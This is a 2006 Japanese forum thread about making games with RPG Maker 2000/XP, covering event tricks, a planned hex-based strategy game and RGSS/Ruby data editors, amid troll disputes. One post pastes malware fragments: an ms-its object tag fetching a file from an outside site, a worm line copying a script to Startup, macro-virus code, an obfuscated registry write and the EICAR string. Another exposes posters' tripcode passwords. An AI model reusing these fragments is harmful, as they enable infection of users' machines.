お前らのオナニーでスレ消費するな、まじでウザイ
タナと同じで人の迷惑を気にしてねーんだろ
0493名前は開発中のものです。
2006/11/11(土) 08:02:09ID:qQ8FHke7FSMの様なSFC時代のFFみたいな質感より、むしろFC時代のDQ、FFっぽい
如何にもドッド絵な方がツクってますって気がして個人的にはいいんだけど
RTPでざっとひな型作ってからFSMでリファインすると↑の思いによく駆られる
0494名前は開発中のものです。
2006/11/11(土) 11:01:43ID:ofkDNEY4よくわかんないけど、前にものすごーくショボイ自作絵だろうものを
使ってるゲームみたことあるけど、
ぶっちゃけその絵でゲームが台無しになってた
ショボイ自作絵使うくらいなら
使わないでゲームとして成立する方法を考えたほうがいいとおもう
0495名前は開発中のものです。
2006/11/11(土) 13:16:36ID:2s3H2v2U全部自作なら、例え下手でも良い味出ていて良い
0496名前は開発中のものです。
2006/11/11(土) 13:29:06ID:QnmhW71f> タナと同じで人の迷惑を気にしてねーんだろ
どうしてわざわざゴミの話題を出すのかね。
というか、妙に呼び方に親しみが篭っているようだが、
ひょっとして自演ですか?www
0497名前は開発中のものです。
2006/11/11(土) 13:59:34ID:3ZOhgJVyお前がゴミと同程度だかじゃね?
0498名前は開発中のものです。
2006/11/11(土) 14:40:00ID:at/mcnK1今FCのDQとか見ると愕然とするよけどね、RTPなんかに比べてあまりのチャチで
色数が足りないからDQ4でさえ肌が白だし、キャラがったった4色だからな。
256色をチップごとに自由に使える環境だとFC風は逆に素材作りに手間が掛かる。
http://kazato.run.buttobi.net/cgi-bin/upload/src/viprpg_tktk0554.png
RTPキャラって色が明るくてだけで精度自体はそんなにFSMと変わらないんだよな
後はキャラの格好のデザインの問題で軽めに見えるけど。
0499名前は開発中のものです。
2006/11/11(土) 16:01:18ID:tE11ECvMつか、ツールを扱えないヤツは、どんな絵を描こうが手間がかかるけどなw
0500名前は開発中のものです。
2006/11/11(土) 16:22:12ID:at/mcnK10501451
2006/11/11(土) 16:53:34ID:N8lsG5CL0502名前は開発中のものです。
2006/11/11(土) 19:36:18ID:2s3H2v2Uそんなことよりも、君のレスに対して、いくつか意見が出ているけど
今後も「それ相応のグラフィックは作れません」というスタンスを貫くのか?
それ相応のグラフィックというのがどんなものなのか知らんけど
0503名前は開発中のものです。
2006/11/11(土) 20:20:16ID:aPpXUpSh0504名前は開発中のものです。
2006/11/11(土) 21:03:16ID:at/mcnK10505451
2006/11/11(土) 21:31:16ID:N8lsG5CLいつまで経っても、なっとくのいくグラフィックは出来ない・・・とでも言おうか。
まぁなっとくしたら進歩なんて無いわけだが
0506名前は開発中のものですが
2006/11/11(土) 22:37:24ID:7RO3tGK9RPG2000で じゃなくて、
2D格闘ゲームツクールで ドラゴンクエスト対戦格闘(?)みたいなゲームを
工作中です。
というか、すでにそんなゲームあるんですか?
検索してもでてこなかったんですが・・・。
0507451
2006/11/11(土) 22:45:42ID:N8lsG5CLそれってM.U.G.E.NかKFAじゃね?
前者がキャラ多すぎ自作は少しムズそう・後者はキャラ作りは楽、だが少しマイナー
2D格闘ゲームツクールは、さすがにスルー・・・
0508名前は開発中のものです。
2006/11/11(土) 22:47:10ID:2s3H2v2U納得と相応は違うだろ・・・
0509451
2006/11/12(日) 00:15:28ID:9VfFGmC6ヘタにレスつけると荒れそうだから、とりあえず書いただけだ・・・
聞かれたのにレスしないわけにも、いかないしな。察してくれ・・・
0510名前は開発中のものです。
2006/11/12(日) 00:35:17ID:gBxaaHYnどの種類の素材をどの程度の出来栄えで作っていて、
どんな感じになれば納得なのか判らないとなんともいえないね。
ああだこうだ言い合ってモノがないんでは「これだけ出来れば十分じゃないか?」とか
「たしかにもうちょっと頑張れ」とかそういう判断すらわからないからね。
0511名前は開発中のものです。
2006/11/12(日) 02:22:55ID:ZANsEzDV>>451の人気に嫉妬
>>510
別に451のレスを見る限り、評価してくれだの、見てくれだの書いてない希ガス
むしろ>>451のレスは完結してるのに無駄に内容を引っ張ってないか?w
0512名前は開発中のものです。
2006/11/12(日) 05:27:45ID:hVCI3xFoRPGツクール2000なんですけど
「キャラクターの動作指定」で右に移動を選んでも右に向くことしかしません。
その次に[指定動作の全実行]を選ぶとその後のすべてのイベントが実行されずに
フリーズします。この症状を直すにはどうすればよろしいでしょうか?
0513名前は開発中のものです。
2006/11/12(日) 09:48:17ID:Ag75e47Y0514名前は開発中のものです。
2006/11/12(日) 09:59:05ID:SOjOWLe6出来ればフリーのが欲しいです
0515名前は開発中のものです。
2006/11/12(日) 10:00:26ID:VXfXmVCi0516名前は開発中のものです。
2006/11/12(日) 10:18:16ID:Ag75e47Y質問です。
RPGツクール95のセーブデータ改造するツールって存在するのでしょうか?
347 名前:名前は開発中のものです。[] 投稿日:2006/10/31(火) 14:04:22 ID:sRWkiZ3T
質問です。
RPGツクール95のセーブデータ改造するツールって存在するのでしょうか?
する?、しない? どっち?
するのなら名前を教えて欲しい(ググっても見つからなかった)。
0517名前は開発中のものです。
2006/11/13(月) 01:04:00ID:14xwJZ+vツクール95使って操作できるイベントを自分で組めば出来る、フリーのものは無いと思う。
0518タナ栗粉
2006/11/13(月) 20:02:31ID:AvWwNtaw特殊効果詰め合せActon EXの取得画面のところでダメージのアニメが表示されてから消えるまでの早さを
「戦闘速度調整」で変更可能とのことだけどそれってどこのこと?教えてください
0519名前は開発中のものです。
2006/11/13(月) 20:54:20ID:ZGpjHmmKまあたまには雑談もいいんじゃね。
別にツクールや製作から外れた話をしてるわけじゃなし。
0520名前は開発中のものです。
2006/11/13(月) 22:10:13ID:05mT+qjQ0521名前は開発中のものです。
2006/11/13(月) 23:13:42ID:a9r/aRAbお前が作れ
0522名前は開発中のものです。
2006/11/14(火) 02:26:52ID:0tSOXyTl0523名前は開発中のものです。
2006/11/15(水) 18:41:49ID:zfVLKacD大戦略みたいなHEX戦(擬似HEXでも可。)を作れる気がする?
必死でHEXエディタと簡単なマス目移動まで作ったんだけど、
途中で構想が大きくなり戦略画面やRPGみたいな操作をする場面も
作りたくなって、もうツクールに頼りたくなった。
できればマウスが使えるといいんだがそこまで贅沢は言わない。
xpとスクリプトの関係や詳しい仕様が調べられれば一番いいんだけど、
とりあえず使い倒してる方の見解を聞きたい。
0524名前は開発中のものです。
2006/11/15(水) 19:32:58ID:PKsjW+bs6角形描くくらいなら、正方形を半分づつづらして配置した方が早いし、効果は同じじゃないか?
0525名前は開発中のものです。
2006/11/15(水) 20:08:05ID:gU8Vo/MN<戦士、武闘家極めてバトルマスターみたいな>
教えて頂きたい。
XPで
0526名前は開発中のものです。
2006/11/15(水) 20:22:50ID:zfVLKacDお、レスどうも!
仰るとおり、擬似HEXでいいやって感じです。
俺は上記の理由でツクールを触り始めたんですが、中古で安く買った2000と
ペイントで四角い枠を書いてキャラ作ってやろうとするとどうも上手くいかない。
まず、見た目半歩ずらしのマップを作っても動かしたカーソルがチップにマッチ
させる現実的な方法がわかりません。
俺の努力不足かも知れませんが、戦争場面はなるべくツクール標準の
RPG操作系の応用じゃなくて、もっとキチッと無理なく作りたいんですよ。
ツクールのマップありきじゃなくて、オリジナルな描画処理でやりたい。
メニューとかリストとかも。(なんか伝わりずらいかもしれませんが...)
RPG部分についてはこれからプログラムするの大変だし、
俺がやりたいことはツクール2000でも十分過ぎるほど実現できそうなので
xpのスクリプト機能で擬似HEX戦争(昔の信長の野望みたいな)が作れそうなら
明日からでもGOサインなんですが、皆さんいかがなものでしょう?
0527526
2006/11/15(水) 20:41:49ID:zfVLKacDいい感じのところを見つけたんで、自分で調べてみます。
既に実験を進めてる方や、経験から大体想像できるという方がいたら
ご意見待ってます。
XPは値段が高いので、とりあえず買っちまうという勇気がなくて
ごめんなさいorz。では。
0528タナ栗粉
2006/11/15(水) 20:43:39ID:TaCaWY1f0529名前は開発中のものです。
2006/11/15(水) 21:07:46ID:TLJG+pB4コモンでウェイト0.1秒→変数加算、の方法しかないのかな。
PCのスペックによって時間がずれたりしないかね。
0530名前は開発中のものです。
2006/11/15(水) 21:32:38ID:iznhMXNi当然するけど2000ならしょうがない
0531名前は開発中のものです。
2006/11/15(水) 21:35:10ID:iznhMXNi戦闘速度調整で検索すればいいよ
スクリプトエディタで
0532526
2006/11/15(水) 22:50:05ID:zfVLKacD細かい座標指定で絵をグリグリ操作できる時点で感動。
おそらく相当作りこんでるんじゃないかと思いますが、
RPGもこなすエンジンを自前で開発してSLGを作るより、
XPで頑張ったほうが遥かに現実的な気がしてきました。
これからアマゾンに注文します。
最終形のイメージとしては大戦略WorldWarUをベースに
三国志風の戦略要素と馴染みのある2DRPG要素、できればTTO風の
イベントシーンをプラスした俺専用の超絶オナニー作品です。
将棋やチェスゲームを作ってるうちに思い立った俺の夢。
死ぬまでにこれだけは遺したい。
0533名前は開発中のものです。
2006/11/15(水) 23:13:57ID:ZmefEF48無理の出なくてやる気を失わない程度にちびちび頑張ってくれ。
話だけ聞くとかなり大物になりそうだから小さな目標立てて部分部分でこつこつやるのが肝要だろう。
かく言う俺も色々設定加えたwizまがいを作ろうとしてぼちぼちやってるが、普通に1年以上経ってるからな。
部品は大方作ったが組み合わせるのがまた面倒でね、一番のネックはグラフィックな訳だがorz
大物ほど地道にやるのが一番だ、頑張ってくれ。
0534名前は開発中のものです。
2006/11/15(水) 23:20:53ID:PWhDyJZzエンジン作るより、って話で調べてみたんならわかると思うが、
ツクールXPのRGSSは、スクリプト言語+ゲーム用ライブラリ=ゲームエンジンだよ。
つまり、機能的には余裕。
0535526
2006/11/16(木) 00:18:57ID:jwnnpw9g応援ありがとう。
まずは本当にやりたい事、出来そうなことを吟味整理して、
部分的な実験を繰り返していきます。
言語仕様は別に書籍を購入したほうがいいかな。
うへぇ、大変だろうなぁw
ライフワークと思ってコツコツ頑張りますよ。
>>534
恥ずかしながら、ここまでツクールが進化してるとは思いませんでした。
ゲーム開発用IDEの域に足を踏み入れてますよね。
とりあえずのサンプルとしてRPGを入れてありますみたいな。
まあスクリプトである以上なんでもかんでも思い通りにとは
いかないかもしれませんが、俺が求めている表現レベルなら
仰るとおり十分可能だと思います。
0536名前は開発中のものです。
2006/11/16(木) 10:17:27ID:gT9FRAT80537名前は開発中のものです。
2006/11/16(木) 10:28:02ID:droEnjO40538タナ栗粉
2006/11/16(木) 12:29:14ID:6qe1z86r大好きだよ(*^_^*)
0539名前は開発中のものです。
2006/11/16(木) 14:15:37ID:IrzBeemC0540名前は開発中のものです。
2006/11/16(木) 14:54:31ID:droEnjO4システムBGMの戦闘のBGMをマップ移動時と同じものにすればいいはず。
終わったらまた元に戻す。
0541名前は開発中のものです。
2006/11/16(木) 18:24:29ID:MwQTgTAZ最初真っ黒なマップで、
歩いたところだけ明るくなっていく(見えるようになっていく)感じにするにはどうすればいいでしょうか。
とりあえず、マップの全てのマスに全部真っ黒のイベントを配置して、
主人公と重なったらその重なったとこのイベントを消していくって方法は思いつくけど、
他に効率いい方法あったらお願いします。
0542名前は開発中のものです。
2006/11/16(木) 19:50:14ID:wWDPgEjq0543名前は開発中のものです。
2006/11/16(木) 20:27:48ID:6qe1z86rもちっと詳しくおねがい
0544名前は開発中のものです。
2006/11/16(木) 22:47:31ID:1OIhdeXK真ん中だけ透過した黒いピクチャを動かせば良いんじゃね?と適当に言ってみる。
0545名前は開発中のものです。
2006/11/16(木) 23:07:24ID:rXc0lXZC0546名前は開発中のものです。
2006/11/16(木) 23:21:31ID:1OIhdeXK俺かよorz
0547名前は開発中のものです。
2006/11/17(金) 02:53:33ID:hCFRM2bYヘルプぐらい熟読することをお勧めする。
あるいは、ヘルプで「検索」って語を検索してみるとか。
0548タナ栗粉
2006/11/17(金) 08:34:44ID:vIuvr7mJ0549名前は開発中のものです。
2006/11/17(金) 09:30:24ID:RA8qht5K久々に覗いてみるもんだ
0550名前は開発中のものです。
2006/11/17(金) 10:19:24ID:qo2yZHy2>549みたいなのが多くなるとスレが機能しなくなって困るんだよな。
0551名前は開発中のものです。
2006/11/17(金) 10:21:41ID:jyeVWJcb0552名前は開発中のものです。
2006/11/17(金) 11:15:00ID:BdCahM7X0553名前は開発中のものです。
2006/11/17(金) 11:19:26ID:JKMYQxniはいはい、さっさと消えろ
0554タナ栗粉
2006/11/17(金) 11:25:47ID:vIuvr7mJ0555名前は開発中のものです。
2006/11/17(金) 11:28:59ID:RA8qht5K0556タナ栗粉
2006/11/17(金) 13:27:07ID:vIuvr7mJなにしろ俺はツクールの歴史を変えるかもしれない男だからな
0557名前は開発中のものです。
2006/11/17(金) 13:56:55ID:Qtt1rB88518の件ならこれじゃないの?ちょっとはサイト内を探したら?
ttp://scriptshelf.jpn.org/x/XRXS_BP14.htm
ツクールも触ったこと無いしマカーだから間違っててもしらないけど。
0558タナ栗粉
2006/11/17(金) 14:23:15ID:vIuvr7mJ0559名前は開発中のものです。
2006/11/17(金) 15:11:39ID:RA8qht5Kもうちょっと焦らせよ
0560名前は開発中のものです。
2006/11/17(金) 16:46:28ID:OL5fHyZA斜め視点から見るヤツだったような。ネット販売しかしてなかったっけな。
なんて言ったっけなぁあれ。
0561名前は開発中のものです。
2006/11/17(金) 19:10:44ID:JVA1N51H0562名前は開発中のものです。
2006/11/17(金) 20:58:37ID:vIuvr7mJ0563名前は開発中のものです。
2006/11/18(土) 00:59:21ID:OxofPqnQそれは忘れたがフリーのQueek IIもおススメ。
ツクールやり始めたに気づいたから、触り程度しか試してないが
0564名前は開発中のものです。
2006/11/18(土) 02:03:09ID:llFIGetl0565名前は開発中のものです。
2006/11/18(土) 06:35:49ID:lVNws9xg3D RPGエディター Part2
http://game10.2ch.net/test/read.cgi/gameama/1090488153/
0566名前は開発中のものです。
2006/11/18(土) 09:27:25ID:agAUAVLfそうそれだ!
0567タナ栗粉
2006/11/18(土) 13:32:55ID:7lfufh7zちゃんとワールドマップみたいにするにはどうすればいい?
0568名前は開発中のものです。
2006/11/18(土) 13:39:03ID:EVGHg8q40569タナ栗粉
2006/11/18(土) 14:03:32ID:7lfufh7z0570ダイア ◆Q.9/UGZBPY
2006/11/18(土) 14:08:44ID:on1GePSo美茶乱会
水冠
なにもない空
0571名前は開発中のものです。
2006/11/18(土) 14:24:34ID:9p/dgTNDシェイラルド#銀槍様
omoti#homoti
これで満足かね
378 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:17:47 ID:???
今まで散々荒らした捨てコテのトリを公開する瞬間ほど楽しいものもなかろうw
381 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:20:24 ID:???
最後にダイアのトリを晒して終わるでござる^^
ダイア#日記帳★
ツクスレを潰せて拙者の復讐も天地終焉剣でござるな^^w
0572名前は開発中のものです。
2006/11/18(土) 14:31:35ID:NU6f16bRまんこ^^
0573526
2006/11/18(土) 15:28:32ID:bNGGOAs1朝からスクリプト貪って全体のスキームを図に起こしてみたが
すばらしい。
特に俺には十分なキーボードや画像の入出力機能と
イベントインタプリタが手に入ったのは嬉しい。
もうこれだけで買った甲斐があった。
ただ惜しくらむはオリジナルDBを設計して出力する
機能がないこと。
これをツクールのスクリプトでツクるのは大変だし、
無理やり拵えても、多分操作性が悪すぎる。
HEXマップは既にある自作エディタで、それ以外で必要な
DBエディタはExcelかAccessで作るしかないな。
ツクールのDBをSLGに流用するのは辛いからな。
0574名前は開発中のものです。
2006/11/18(土) 16:46:00ID:AU1GXAkj0575名前は開発中のものです。
2006/11/18(土) 16:52:01ID:9+YY/qfDイマイチ何がしたいかはっきりとわからないが、SQLite当たりの方がよくないか?
0576名前は開発中のものです。
2006/11/18(土) 18:10:36ID:3SP29q3Jこのイベントをキャラクターの動作指定をつかって
上向きの(どっち向きでもいい行けど)leftにするのは可能ですか?
上向きの真ん中しか無理?
0577名前は開発中のものです。
2006/11/18(土) 21:18:06ID:agAUAVLf0578名前は開発中のものです。
2006/11/18(土) 21:51:59ID:juBodgz+0579名前は開発中のものです。
2006/11/18(土) 22:57:20ID:S4X8UvI6ヘックスに拘ってるけど市街マップとかだとかえって不自然になるんだよね。
ルールがそれように四角マスでも十分出来ると思うしマウス操作でない場合
ヘックスは非常にストレスになるよ。
そのままデフォの素材とマップエディタが使えることも含めて四角マスの方が
メリットも大きいから何かヘックスを使う事に意図が無いならそちらも考えてみては?
何はともあれSLGって言うのは物凄く期待してるんで、頑張ってください。
0580名前は開発中のものです。
2006/11/18(土) 22:58:15ID:hRIR7PGqどんなモノを求めているのか、いまいちわからん。
Marshal.dumpしたファイル(RGSSのload_data関数で読めるもの)なんかを
直接生成するデータエディタが欲しいなら、Rubyで作ればいいんじゃね?
直接でなくてもいいなら、Excelから変換するスクリプト書けばいいんじゃね?
CSVを読み込んでパースするなんて簡単だし、RubyからExcelを操作もできるし。
その逆はどうだかしらんが。
テキストでデータ書くのでよければ、YAMLなんかも使えるし。
ツクールXPにその機能がついてる必要は、なさげ。
すでにあるものを利用した方が便利だと思われ。
まあ、デフォのデータの項目足りないけどな。
0581526
2006/11/19(日) 02:43:59ID:i4c0N3Gy確かにマウスを使わない以上、操作性を考えるとそっちのほうが
圧倒的にやり易いよね。その辺まったく考えてなかったorz。
要するに、マップ作成自体は付属のエディタで見た目
半歩ずらしのマップを作ればいいだけの話で、
さっさと肝心なカーソルやユニットの移動処理に心血を注ぐ
方が建設的ではないかってことですよね?
アドバイスありがとうございます。HEXに拘っていたのは大戦略への
憧れというか、それだけですorz。拠点の防衛戦は是が非でも
盛り込みたいと思ってますので、やっぱ四角にします。
チップのサイズは32だと小さすぎるかな?
>>580
伝わりずらくてごめん。
えっとですね、要するに自前で設計したデータを生成する
GUI環境がほしいってことなんですよ。
机上のデータ設計どおりに、初期値データファイルを生成する
スクリプト書いて何回も流せばいいんですが、それだとテスト時
の効率が悪すぎますよね。ツクール組み込みのDB(アクター他)であれば、
データベースウィンドウを開いてちょちょいと値や画像を変えながら
ガンガン試験できますが、これを戦略データや兵器データに見立てて
流用するにはちょっと辛いんですよね。
0582名前は開発中のものです。
2006/11/19(日) 05:26:22ID:Ua8Nv42C実際ヘックスを使ったゲームは十字キーで非常にカーソルが動かしにくかった記憶がある。
ヘックスは大変でも段違いの四角ならそんなに大変でも無かろうにそうしないで碁盤目が
多いのはそのあたりが原因だと思うんだよ。
個人的にネクタリスのような弱いユニットでも戦線の張り方で勝てる強力なZOCによる
包囲効果があるゲームが好きだな。
0583名前は開発中のものです。
2006/11/19(日) 09:28:49ID:97KpwG19普通に考えてできるわけないと思うのだが
0584名前は開発中のものです。
2006/11/19(日) 09:37:52ID:PcdUc3kz動作指定じゃ出来ないかもしれないけど、ページ分けて2ページ目のグラフィックをその上向きの左のにすればいいんでなかろうか。
スイッチで2ページ目に移行すればグラも変わる。アニメーションタイプは完全固定。
めんどくさいかもしれないけど。
0585名前は開発中のものです。
2006/11/19(日) 10:18:39ID:2cxGolRBRGSS=Rubyってことだろ(と>>526が考えたってこと)。
RGSSでDBの使用を考えるくらいなら最初からRubyで作った方がよくないか、とは思う。
ゲームつくるのに積極的にRuby使う利点ってあるのかな?
0586名前は開発中のものです。
2006/11/19(日) 10:38:24ID:49PeT0Mbツクール信者が盲信しているだけ。
0587名前は開発中のものです。
2006/11/19(日) 10:39:13ID:S9/dw73oあとは公式リファレンスが日本語とか
動作速度が遅いのが今後の課題だとは思う
0588名前は開発中のものです。
2006/11/19(日) 12:08:35ID:Ua8Nv42Crubyのメリットは薄くてもRGSSはツクールが込みという事を考えるとそれが物凄い利点だよ。
0589名前は開発中のものです。
2006/11/19(日) 12:44:04ID:O8/GxI1fありがとう
やっぱりそうだよね・・・・
0590名前は開発中のものです。
2006/11/19(日) 14:17:09ID:n/kdPA700591580
2006/11/19(日) 17:39:25ID:4PGs0u+9だから、Rubyで作ればいいんじゃね?
もしかして、テストプレイ中(ゲーム起動中)にアクターなどのデータを
エディタで変えて、それがすぐに反映されるとか思ってる? 反映されないよ。
エディタから出力されたファイルを、ゲームエンジン(Game.exe)が読んでるだけだよ。
あと、キミの言うDBをDBMSのことだと思ってる人がいる。
0592名前は開発中のものです。
2006/11/19(日) 17:44:54ID:cwIbgIIBツクールVistaではC++かC#でも実装してもらうか?w
0593580
2006/11/19(日) 17:48:16ID:4PGs0u+9まったくない。
オレはRuby厨なので、Rubyでゲームが作れるRGSSは素敵だが、それしかない。
Rubyの利点はオブジェクト指向でトライアンドエラーがしやすいことなので、
まあ、ゲームの高レベルな部分を作るのには向いてるかなと思わなくもない。
>>588
遅いって不満が、画像の描画以外であることはあんまりないかと。
0594名前は開発中のものです。
2006/11/19(日) 17:55:58ID:6nVAngE1> >>581
> だから、Rubyで作ればいいんじゃね?
>>573
> ツクールのスクリプトでツクるのは大変
どうやら591は「ツクールのスクリプト」=Rubyを理解できていないようだ
0595580
2006/11/19(日) 18:04:41ID:4PGs0u+9あー、そうか。
「RGSS=Ruby+ゲーム用ライブラリの実行環境」ってことを理解してないんだな。
RybyにはGUIライブラリもあるよー、581。
RGSSでは操作性最悪のしか作れないかもしれないが、
Rubyでなら作れるよー。結構簡単に。
0596名前は開発中のものです。
2006/11/19(日) 18:17:10ID:2cxGolRBしかしな、Rubyしか使えないプログラマなんていないだろ。
RGSSはあんたの言うとおり「RGSS=Ruby+ゲーム用ライブラリの実行環境」だから
RGSS使わないなら他の言語使った方がよくないか?
>>592
>ツクールVistaではC++かC#でも実装してもらうか?w
あ、C#使えるC#GSS付きのRPGツクールVistaならまじで欲しいなw
C++はいらね。ツクールの部分が邪魔になりそう。
0598名前は開発中のものです。
2006/11/19(日) 18:26:35ID:2cxGolRB餅つけ。
0599580
2006/11/19(日) 18:43:02ID:4PGs0u+9Marshal.dumpしたファイル(RGSSのload_data関数で読めるもの)なんかを生成する、
データエディタが欲しいなら、この一点でのみRubyお勧め。
これがいらないなら、自分の知ってる言語でいいんじゃね?
0600580
2006/11/19(日) 18:44:38ID:4PGs0u+9オレに言ってたのか。
>573>無理やり拵えても、多分操作性が悪すぎる。
RGSSのこと言ってるんだと思われ。
0601526
2006/11/19(日) 19:26:02ID:i4c0N3Gy俺が言いたかったのは、ツクールにオリジナルDBを視覚的に
作成できる画面がないから別に作らないとなということです。
最初は専用のマップエディタや各種ステータス設定画面をRGSSで、
つまりツクールのゲーム実行中に埋め込んでしまおうかと
考えたんですが(大戦略の兵器図鑑やマップエディタみたいな感じで)、
素直に作ると物理的な操作系がツクールに縛られるので少なくとも
開発者(=俺)にとって「操作性が悪すぎる」ということです。
EXCELやACCESSでさっさと作れそうかなぁと思ってるんですが、
RubyでもGUIアプリを作成する環境(ここではライブラリのことではなく
フォームデザイナ等の開発ソフトのことです)があるようなので
>>599さんの仰るように、余計な処理をかませる必要のなさそうなことも
含めて検討しております。
色々な見解や情報をレスしてくれてありがとう。
もう大丈夫そうなので作業を進めます。
さあ、もとの雰囲気に戻ってくださいまし。
0603名前は開発中のものです。
2006/11/19(日) 20:41:31ID:4Jwfvkpq意味の無いレスで埋まってるわけでもないし
0604名前は開発中のものです。
2006/11/19(日) 20:47:22ID:Ua8Nv42CSLGは非常に興味深いし、プレーヤーとしては実はRPGより好きなんで
また何か進展があったら報告とかあると嬉しいな。
こういうことがあると議論がぶつかるのは良くあること
内容まで脱線したグダグダな口喧嘩になってるわけじゃないし
まぁこのくらいなら製作意図の違いによる熱い討論レベルだし気にすることは無いんじゃないと思う。
多少うが無に見えるものや、動く物が上がれば説得力が段違いだし、
意見の違っていた人も、それはそれで認めてくれるんじゃない?
楽しみにしてるんで頑張ってください。
0605580
2006/11/19(日) 22:49:34ID:4PGs0u+9ゲーム中に動的に変更するなら、自分で書くしかないね、結局。
F9(デフォのデバッガ呼び出し)とかで外部データを読み込むものだけ作れば、
あとは好きにできるわけで、そっちの方がツクールに変な機能ついてるより楽だと思う。
あとRGSSにもWin32APIは入っているので、
がんばれば別ウインドウとかも出せるんじゃないかな。
0606名前は開発中のものです。
2006/11/20(月) 00:46:32ID:uA7uvNOH別ウィンドウ出すのも別にそんな難しくも無いけど
わざわざツクールでやるメリットなんかないっしょ
サンプル全部捨てて1から作る位ならRuby+SDLで自分でラッパー書いたほうがマシだと思うが
まぁ世の中にはVBでAPI使いまくってゲーム作る奴もいる事だし余計なお世話かもしれんけど
0607580
2006/11/20(月) 01:09:09ID:neNT2vzWデフォのスクリプト全部捨てるって話ではないので。
つか、別ウインドウ出す必要は、オレは感じてないよ。
あと、個人的にはRuby/SDLよりRGSSのライブラリの方が好き。
必要最低限にまとまってて。自分でラッパー書かなくていいや、ぐらいの話だが。
0608タナ栗粉 ◆8Tdr0tD9Mk
2006/11/20(月) 12:56:50ID:WC/RLNqE0609名前は開発中のものです。
2006/11/20(月) 12:59:23ID:R4sOTX7V0610タナ栗粉
2006/11/20(月) 14:34:04ID:WC/RLNqE0611名前は開発中のものです。
2006/11/20(月) 17:23:38ID:OWvmZ6PL0612タナ栗粉
2006/11/20(月) 20:00:46ID:WC/RLNqEごめん
ところでツクール作品でもっとも良作ってなに?
0613名前は開発中のものです。
2006/11/20(月) 21:05:00ID:fLe7tSRG誰に向かっていってるんだ?誤爆は気をつけろよ。
0614名前は開発中のものです。
2006/11/20(月) 21:06:53ID:xBvzxuxP飯野賢治の300万本売れるRPGじゃないの?
0615名前は開発中のものです。
2006/11/20(月) 21:45:01ID:aJxX5ev0>>609,614
0616タナ栗粉
2006/11/20(月) 22:23:11ID:WC/RLNqE┓(´._ゝ`)┏
でもあやまっとくよ
いくらきみが望んでも生まれ持った才能は分けてあげられない 本当こればっかりは申し訳ない
0617名前は開発中のものです。
2006/11/20(月) 22:32:33ID:fLe7tSRG内容は良く判らんがあんまり相手にしなさんな。
0618名前は開発中のものです。
2006/11/20(月) 22:41:57ID:mLrzdNQ80619名前は開発中のものです。
2006/11/20(月) 22:44:44ID:yiXEiLNW何だ?タナって?
0620名前は開発中のものです。
2006/11/20(月) 23:01:12ID:aJxX5ev0わざわざ名前で呼んでる時点で馬鹿に餌やってることに気付け。
どうしても呼びたきゃ、テンプレ通りタナ厨とでも呼んでやれ。
0621名前は開発中のものです。
2006/11/21(火) 01:58:47ID:4VD5a3/rなんていうか今時は子供も言わないような我儘な態度で質問の答えを強要して来る変なコテハンだよ。
相手にしてると切りが無くなる、しなくても来るけどw
0622名前は開発中のものです。
2006/11/21(火) 02:01:12ID:4VD5a3/rようは600以降では608、610、612、616、620あたり。
0623名前は開発中のものです。
2006/11/21(火) 10:01:35ID:IQoAHzh2コイツのせいでスルーされた質問数知れず、自分さえ良ければ他の奴が
どうなろうが知ったこっちゃないって典型的な糞野郎の分際で調子に乗るな!
俺も以前この蛆虫のせいでスルーされたからな、マジ存在自体がウザい!
エターナ○の分際で何が「俺の作品はすげーから協力しろ」だ?
ふざけんじゃねっての、フナムシ野郎!
でかい口叩きたけりゃ自慢の妄想うpってからにしやがれ!
0624名前は開発中のものです。
2006/11/21(火) 10:10:28ID:L2iUY0WG0625名前は開発中のものです。
2006/11/21(火) 11:31:09ID:4VD5a3/r0626タナ栗粉 ◆8Tdr0tD9Mk
2006/11/21(火) 12:22:20ID:uXlcnbOOチューするぞ
0627名前は開発中のものです。
2006/11/21(火) 13:18:59ID:NKAHTtRDエターナル→エターナルチャンピオンなどと称されるように
【永遠の〜】という意味で、永遠に制作が終わらないツクーラーなどを
揶揄してエターナルと呼んだ。
0628名前は開発中のものです。
2006/11/21(火) 15:09:20ID:L2iUY0WGttp://studiodias.port5.com/
0629名前は開発中のものです。
2006/11/21(火) 15:48:07ID:NKAHTtRD語源1009
0630名前は開発中のものです。
2006/11/21(火) 15:53:34ID:Wu1+q31F友人から要らなくなったと言って2000を譲ってもらったんだが、
これをインストールしたらやっぱ違法になるのかなぁ・・・・・
そこらへん詳しい人教えてください。
0631名前は開発中のものです。
2006/11/21(火) 15:58:58ID:NKAHTtRD0632名前は開発中のものです。
2006/11/21(火) 16:54:26ID:CMuuaM1v<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
0633名前は開発中のものです。
2006/11/21(火) 19:19:34ID:Wu1+q31Fバカな俺にもうちょっとkwsk教えてくれ。 頼む
0634名前は開発中のものです。
2006/11/21(火) 22:31:03ID:StR14aQjライセンスはソフトの所有者にあるからソフトを譲渡してもらった時点でライセンスはあなたにあるよ。
ただし、所有権を譲った以上、もとの所有者である君の友人が自分のPCにインストールしたままだと、
君の友人はライセンス違反になる。
もしも、そのソフトを友人から貸与されて使用した場合には所有権はその友人にあるので君がライセンス違反になる。
場合によっては(てか普通は)ソフトの貸与自体がライセンス違反になるから君も友人もライセンス違反になる可能性もある。
でも、バレなきゃいいのよwwwww
犯罪は発覚した時点で犯罪なのよ。
0636名前は開発中のものです。
2006/11/21(火) 22:48:22ID:klpEbWwk主人公の名前の変更時に他の主人公と重複しないようにしたいのですが
条件で\v[x]を使用しても参照できていないようです。
他の主人公の名前と比較する方法があれば教えてください。
0637名前は開発中のものです。
2006/11/21(火) 23:23:03ID:JbtgywjM0638名前は開発中のものです。
2006/11/21(火) 23:30:09ID:s6uV0oVs0639636
